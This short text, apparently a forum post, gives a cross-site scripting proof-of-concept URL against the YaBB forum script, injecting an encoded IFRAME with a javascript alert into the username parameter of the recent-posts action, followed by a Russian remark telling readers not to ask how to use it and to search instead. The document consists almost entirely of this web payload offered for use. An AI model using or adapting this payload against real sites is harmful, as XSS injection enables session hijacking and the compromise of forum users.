HTML: http://[target]/YaBB.pl?action=usersrecentposts;username= <IFR AME%20SRC%3Djavascript:alert('XSS-Vulnerability') ><%252FIFRAME> Только не спрашивай как использовать - Юзай поиск.